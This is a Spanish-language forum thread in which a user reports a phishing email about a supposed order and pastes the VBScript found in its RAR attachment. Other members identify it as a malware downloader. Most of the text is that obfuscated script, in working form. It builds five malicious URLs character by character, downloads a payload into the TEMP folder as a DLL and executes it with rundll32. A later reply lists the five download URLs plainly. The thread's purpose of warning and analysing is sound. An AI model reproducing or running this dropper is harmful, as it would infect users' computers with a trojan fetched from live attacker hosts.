Mi pedido llegará rápido, pero...

  • Autor Autor Tony Lothbrok
  • Fecha de inicio Fecha de inicio

Tony Lothbrok

Épsilon
Verificación en dos pasos activada
Verificado por Whatsapp
Hola amigos de Forobeta,

Quisiera saber si a alguien le ha llegado algo similar, aquí les adjunto unas capturas:








Supuestamente he realizado un pedido y me están enviando los datos de dicho producto...La verdad me dio curiosidad y quería abrir uno, así que descargue uno de los archivos, pero no ejecute nada, solo abrí el rar, aquí les dejo una captura:



Me da mucha curiosidad abrirlo, pero como dicen: La curiosidad mató al gato jajaja.
 
No lo abras, extrae los archivos en una carpeta y abrelos con bloc de notas para ver el contenido...
ponlo aqui para ver que regalos te querian dar 🙂
 
ábrelo en cabinas de internet, tal vez te estén sembrando contenidos ilegales con alarma instantánea al FBI
 
Y este es el contenido del que he descargado [MENTION=42031]Damiancrk[/MENTION] [MENTION=153680]JhonEspinoza[/MENTION] xd

Insertar CODE, HTML o PHP: 
On Error Resume Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Ka1 = 1, Lg = 2, URp = 8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Const Xd = 1, Gi = 2, Yq6 = "437", Xs = 2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function NJt(Xr7)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, Gk, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.LoadFromFile Xr7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Lc5.ReadText' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

NJt = Fg2(WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Oa5(Xr7, EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Lc5, WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Lc5 = CreateObject("ADODB.Stream")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.type = Gi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Charset = Yq6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Open' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = HYg(EGl4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.WriteText WVb2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.SaveToFile Xr7, Xs' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Lc5.Close' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function TCd(Me8)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim WVb2, TVi(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Me8 <= 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50001, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Me8 = 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = TVi' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2 = Space(Me8-1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TCd = Split(WVb2, " ")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Tp(CQq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, JQw8, Gk, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Go, Fh2(1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(0) = "WinHttp.WinHttpRequest.5.1"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Fh2(1) = "MSXML2.XMLHTTP"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Each Go in Fh2' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Clear' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject(Go)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number = 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit For' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 5=5 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", CQq, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk = TCd(LenB(JQw8.ResponseBody))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB(JQw8.ResponseBody)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gk(Fk-1) = AscB(MidB(JQw8.ResponseBody, Fk, 1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Tp = Gk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Cf4( Ih, Eu )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Fk, Ks5, Sr, JQw8, Nt0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject( "S"&"c"&"ripting.FileSystemObject" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Sr.FolderExists( Eu ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Sr.BuildPath( Eu, Mid( Ih, InStrRev( Ih, "/" ) + 1 ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

ElseIf Sr.FolderExists( Left( Eu, InStrRev( Eu, "\" ) - 1 ) ) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Nt0 = Eu' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.OpenTextFile( Nt0, Lg, True )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set JQw8 = CreateObject( "WinHttp.WinHttpRequest.5.1" )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Open "GET", Ih, False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JQw8.Send' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LenB(JQw8.ResponseBody) < 100000 Or LenB(JQw8.ResponseBody) > 250000 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Err.Raise 50011, "", "ed32", "", 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk = 1 To LenB( JQw8.ResponseBody )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Write Chr( AscB( MidB( JQw8.ResponseBody, Fk, 1 ) ) )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 1=1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ks5.Close( )' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Jc1()' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, KNp3, JAa0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set KNp3 = SOx0.Environment("System")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JAa0 = KNp3("PROCESSOR_ARCHITECTURE")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If LCase(JAa0) = "amd64" Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Else' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Jc1 = SOx0.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub XDt8(CHt, IUm1, Nq)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, Sr, Ks5, Mb4, JUw6' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set SOx0 = CreateObject("WScript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Mb4 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

JUw6 = Jc1() + " " + Mb4 + "," + IUm1 + " " + Nq' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 2 > 1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

SOx0.Run(JUw6)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Rp(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Rp = Sr.FileExists(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Gm8(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Sr, Ks5' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Sr = CreateObject("S"&"c"&"ripting.FileSystemObject")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set Ks5 = Sr.GetFile(CHt)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Gm8 = Ks5.ShortPath' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function MXl9(Sj, RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Me8' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Me8 = CDbl(Int(CDbl(Sj)/CDbl(RWi3)))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MXl9 = CDbl(Sj) - Me8 * CDbl(RWi3)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Qp8(IJq, WVb2)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(1) = 172 * WVb2(1) Mod 30307' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(0) = 171 * WVb2(0) Mod 30269' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WVb2(2) = 170 * WVb2(2) Mod 30323' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim PFw7' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

PFw7 = MXl9((CDbl(WVb2(0))/30269.0 + CDbl(WVb2(1))/30307.0 + CDbl(WVb2(2))/30323.0), 1.0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Qp8 = Int(PFw7 * CDbl(IJq))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Function Ad(Jz4)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Ad = CInt(Jz4*Rnd())' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Function' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub Fz8(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Sleep(Kx1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Sub MNp(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(Tw1)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End Sub' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Randomize' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim Os(2), AMh0, EEk1(4), Xr7
Os(0) = 27215
Os(1) = 16999
Os(2) = 28649
AMh0 = 21
If 1=1 Then
EEk1(0) = ""&"ht"&"t"&"p://" & "0" & "7" & "9" & "1" & "l" & "o" & "n" & "g" & "y" & "a" & "o" & "." & "c" & "o" & "m" & "/" & "m" & "w" & "n" & "r" & "v" & "q" & "7" & "t"
End If
If 1=1 Then
EEk1(1) = ""&"ht"&"t"&"p://" & "d" & "u" & "m" & "b" & "i" & "n" & "s" & "t" & "r" & "u" & "m" & "e" & "n" & "t" & "d" & "a" & "n" & "c" & "e" & "." & "c" & "o" & "m" & "/" & "n" & "q" & "6" & "w" & "c" & "k"
End If
If 1=1 Then
EEk1(2) = ""&"ht"&"t"&"p://" & "a" & "n" & "g" & "e" & "l" & "f" & "i" & "x" & "." & "n" & "e" & "t" & "/" & "o" & "2" & "m" & "w" & "g" & "t" & "q"
End If
If 1=1 Then
EEk1(3) = ""&"ht"&"t"&"p://" & "k" & "i" & "d" & "d" & "y" & "p" & "e" & "c" & "o" & "s" & "." & "c" & "o" & "m" & "/" & "0" & "l" & "o" & "o" & "b" & "u" & "3"
End If
If 1=1 Then
EEk1(4) = ""&"ht"&"t"&"p://" & "v" & "a" & "i" & "r" & "s" & "c" & "r" & "a" & "t" & "." & "c" & "o" & "m" & "/" & "0" & "o" & "p" & "r" & "7" & "s"
End If
Xr7 = "OVw8LcHvp0bnCQ"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim SOx0, TRd3, Vu9, BIc, Kx1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Set objShell = CreateObject("WS"&"cript.Shell")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

TRd3 = objShell.ExpandEnvironmentStrings("%" & "T"&"EMP%")' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Dim VOw9, Vq1, Ao, SQm, Fk' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = False' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

For Fk=0 To 5: Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vu9 = TRd3 + "\" + Xr7 + Chr(48+Fk) + ".dl"&"l"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(Vu9) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

BIc = Gm8(Vu9) & ".txt"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Rp(BIc) Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

WScript.Quit(0)' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Not Vq1 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

VOw9 = Ad(UBound(EEk1))' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Cf4 EEk1(VOw9), Vu9' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If Err.Number <> 0 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Exit Do' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Vq1 = True' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

XDt8 Vu9, "zzz", "317"' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 1' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

Loop While False: Next' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

If 3=3 Then' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

MNp 0' bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb 
'

End If
 

desconozco lo que significa, pero se ve ejecutable
 
Buscando un poco parece ser de esos que te bloquean el equipo para luego pedir una suma por desbloquearla...
envia o pide información a la web vairscrat,com y otras más
 
[MENTION=128930]TonyJackson[/MENTION]

Cita a ciclow el moderador del foro quizas el te pueda decirte algo.
 
El poco de ' bbbbb... son comentarios como para despistar la lectura del código al ser humano lo demás es arte de magia envía peticiones get a unas url que no se que hacen.
 
Vaya hombre, con solo ver el dominio desde que te mandan el archivo es para desconfiar en automatico:


Mathis100@acookforyou.com

En serio? venden parcelas online desde el dominio acookforyou.com? o sea A COOK FOR YOU???

Saludos
 
[MENTION=9679]cicklow[/MENTION] Te invoco 😱
 
Es un malware, ese VBS es Visual Basic Script... si lo ejecutas ejecuta un codigo que hace que tu pc se infecte, descargando un troyano desde la net... es muy comun esos mail, hasta te dicen que tienes un paquete de FEDEX y te dan un rar con un VBS o un EXE... son VIRUS!...

Yo he programado en VBS virus y antes eran muy facil de esparcir, hoy en dia los antivirus los detectan bastante bien... Si alguno recuerda el virus iLove echo en VBS fue uno de los virus que mas se esparció y estaba echo en VBS...
i love (o VBS/LoveLetter) es un virus escrito en VBScript. En mayo de 2000 infectó aproximadamente 50 millones de computadores provocando pérdidas de más de 5.500 millones de dólares.
Hacer clic para expandir...
https://es.wikipedia.org/wiki/ILoveYou

Ese virus Trata de descargar alguno de estos archivos:
Insertar CODE, HTML o PHP: 
http://0791longyao.com/mwnrvq7t
http://dumbinstrumentdance.com/nq6wck
http://angelfix.net/o2mwgtq
http://kiddypecos.com/0loobu3
http://vairscrat.com/0opr7s
NO ENTRAR A LAS URL... el cual son los troyanos: https://virustotal.com/es/file/dd11...6b3861fe85e4ec244c3c9fc711ac2c5b964/analysis/ una ves que es descargado lo guarda como un DLL y lo ejecuta con el rundll infectando la PC
 

No lo conocía a ese virus... 😱... al parecer el último dominio fue registrado antes de ayer..
 
Hay que estar conectado o registrado para responder aquí.

Temas similares

¿Cómo hacer que uun video llegue rápido a las 100 vistas como minimo?
Respuestas
16
Visitas
928
blast
N
Quiero llegar a 1000 suscriptores en yt rápido
Respuestas
7
Visitas
666
Johan19
J
M
¿En qué país llega más rápido la tarjeta Payoneer?
2
Respuestas
32
Visitas
2K
AltaDigitalWeb
Llegó FIREFOX QUATUM ¡¡ahora más rápido e incluso más ligero que Chrome??
2
Respuestas
31
Visitas
2K
alejandros
D
PEDIDO DE CHINA.. por aliexpress NO LLEGA
2
Respuestas
30
Visitas
5K
juancho259
J
Menú
Acceder
Registro